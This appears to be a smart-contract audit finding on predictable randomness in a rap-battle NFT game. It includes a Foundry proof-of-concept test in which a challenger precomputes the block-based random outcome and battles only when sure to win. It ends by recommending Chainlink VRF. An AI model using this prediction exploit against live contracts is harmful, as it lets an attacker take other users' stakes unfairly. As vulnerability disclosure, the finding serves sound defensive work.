Bad randomness vulnerability occurs when a smart contract relies on a source of randomness that is not truly random or that can be predicted by an attacker. This can allow an attacker to manipulate the outcome of a transaction or gain an unfair advantage over other users.
A challenger can create a smart contract that checks if they win before going on battle. If the result is successful, the goOnBattle is executed; if the result is not favorable, the user can choose not to go to battle and wait to attempt another time.
A challenger can always win the bet and never lose, which is unfair for the defender that goes to battle.
function testGoOnBattleOnlyUserWin() public mintRapper {
address user2 = makeAddr("User2");
vm.prank(user2);
oneShot.mintRapper();
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
vm.startPrank(user2);
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(user2);
streets.unstake(1);
vm.stopPrank();
assert(cred.balanceOf(address(user)) == 4);
assert(cred.balanceOf(address(user2)) == 4);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
bool win = false;
while (!win) {
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), user2))) % totalBattleSkill;
win = random > defenderRapperSkill ? true : false;
vm.warp(111 seconds);
vm.roll(block.number + 1);
if (win) {
vm.startPrank(user2);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
} else {
console.log("##### User2 loses and decides not to go on battle");
}
}
assertEq(oneShot.ownerOf(0), address(user), "Owner of NFT 0 is not user");
assertEq(oneShot.ownerOf(1), address(user2), "Owner of NFT 1 is not user2");
assertEq(cred.balanceOf(address(user2)), 7, "User2 balance is not 7");
}
Use Chainlink or an Oracle. Chainlink VRF (Verifiable Random Function) is a provably fair and verifiable random number generator (RNG) that enables smart contracts to access random values without compromising security or usability.